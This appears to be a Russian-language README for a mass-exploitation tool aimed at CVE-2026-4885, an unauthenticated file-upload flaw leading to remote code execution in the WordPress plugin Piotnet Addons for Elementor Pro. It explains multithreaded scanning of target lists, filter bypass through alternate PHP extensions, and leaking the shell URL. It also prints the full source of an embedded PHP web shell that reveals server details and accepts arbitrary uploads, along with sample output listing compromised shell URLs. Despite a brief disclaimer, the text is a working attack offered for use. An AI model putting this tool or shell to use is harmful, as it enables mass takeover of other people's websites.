CVE-2026-4885 – Массовый эксплойт Piotnet Addons for Elementor Pro

Неаутентифицированная произвольная загрузка файла, приводящая к удаленному выполнению кода (RCE) в Piotnet Addons for Elementor Pro ≤ 7.1.70.

Этот инструмент предназначен для массовой эксплуатации – передайте ему список целей, и он автоматически:

Обнаружить версию плагина (или считать уязвимым, если найдены ресурсы)
Выполнить расширенную разведку для извлечения post_id, form_id и правильного имени поля загрузки
Попробовать несколько расширений PHP (.phtml, .php3, .php4, .phps, .pht, .php2) для обхода слабых фильтров
Загрузить PHP-шелл с заголовком GIF89a (встроенный, внешний файл не требуется)
Утечка URL загруженного шелла через pafe_export_database
Проверить выполнение шелла (ищет строку Logic_Internet) и сохранить URL в shells.txt

⚠️ Отказ от ответственности
Этот инструмент предназначен только для образовательного и авторизованного тестирования безопасности.
Несанкционированное использование против систем, которые вам не принадлежат, незаконно.

Больше информации об отказе от ответственности можно найти на обложке Jenderal92. Ознакомьтесь ЗДЕСЬ !!!

Возможности

Совместимость с Python 2.7 (также работает с Python 3 с небольшими изменениями print/input)
Многопоточность – сканирование и эксплуатация до 20 целей одновременно
Умное обнаружение форм – анализирует специфичные для Piotnet HTML-атрибуты (data-pafe-form-builder-field-name, data-elementor-id и др.)
Внешний файл шелла не требуется – PHP-нагрузка встроена в скрипт
Автоматическая схема URL – добавляет https://, если отсутствует
Обширный список путей – включает 22 распространенных URL форм (/contact, /apply, /quote, /book-appointment, …)
Шаблон утечки – соответствует как wp-content/uploads/piotnet-addons-for-elementor/, так и прямым корневым путям

Требования

Python 2.7 (или Python 3 с небольшими изменениями)
Библиотека requests

pip install requests

Установка

git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885

Использование

Подготовьте файл с целями

Создайте файл с именем targets.txt (или любым другим) с одним URL на строку:
```
https://example1.com
example2.com
http://vulnerable-site.org
```
Запустите эксплойт
```
python2 CVE-2026-4885.py targets.txt
```

Скрипт будет:

Показывать прогресс для каждой цели
Сохранять успешные URL шеллов в shells.txt

Пример вывода

[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml

Параметры командной строки (настраиваемые в скрипте)

Переменная	Описание	По умолчанию
TIMEOUT	HTTP-таймаут запроса	10 секунд
MAX_THREADS	Количество одновременных потоков	20
OUTPUT_FILE	Куда сохранять успешные URL шеллов	shells.txt
EXT_LIST	Расширения файлов для попыток	.phtml, .php3, .php4, .phps, .pht, .php2

Вы можете изменить их, отредактировав начало скрипта.

Нагрузка шелла

Встроенный шелл:

GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>

Отображает информацию о сервере, текущую рабочую директорию и форму загрузки файла.
Может быть заменен любым другим PHP-кодом (просто измените SHELL_CODE в скрипте).

Принцип работы

Обнаружение версии
- Ищет на главной странице ?ver= в ресурсах плагина.
- При отсутствии проверяет наличие известных CSS/JS файлов.
Разведка
- Сканирует общие страницы форм и все внутренние ссылки, найденные на главной странице.
- Извлекает post_id, form_id и правильное имя поля загрузки файла из специфичных для Piotnet HTML-атрибутов.
Загрузка
- Отправляет multipart POST-запрос на wp-admin/admin-ajax.php?action=pafe_ajax_form_builder.
- Использует JSON-нагрузку, имитирующую механизм загрузки плагина.
- Перебирает все расширения из EXT_LIST, пока одно не сработает.
Утечка
- Запрашивает pafe_export_database, который возвращает CSV с полным URL загруженного файла.
- Разбирает URL с помощью регулярного выражения, соответствующего xxx-{random}.ext.
Проверка
- Переходит по утекшему URL.
- Проверяет наличие строки Logic_Internet.
- При успехе сохраняет URL в shells.txt.

Устранение неполадок

UnicodeEncodeError в Windows

Скрипт уже включает функцию safe_unicode(), которая обрабатывает не-ASCII символы. Если вы все еще видите ошибки, убедитесь, что ваш терминал поддерживает UTF-8:

chcp 65001

Форма не найдена / Все расширения не сработали

Цель может быть пропатчена или не использует Piotnet Addons.
Попробуйте увеличить TIMEOUT или MAX_THREADS.
Вручную проверьте, установлен ли плагин на самом деле.

Утечка не удалась, но загрузка прошла успешно

Конечная точка pafe_export_database может быть отключена или защищена.
Попробуйте вручную открыть в браузере /wp-admin/admin-ajax.php?action=pafe_export_database, чтобы проверить доступность.

Законное и этическое использование

Используйте этот инструмент только на системах, на которые у вас есть письменное разрешение на тестирование.
Автор не несет ответственности за любое неправомерное использование или причиненный ущерб.
Соблюдайте все применимые законы.

CVE-2026-4885

Популярное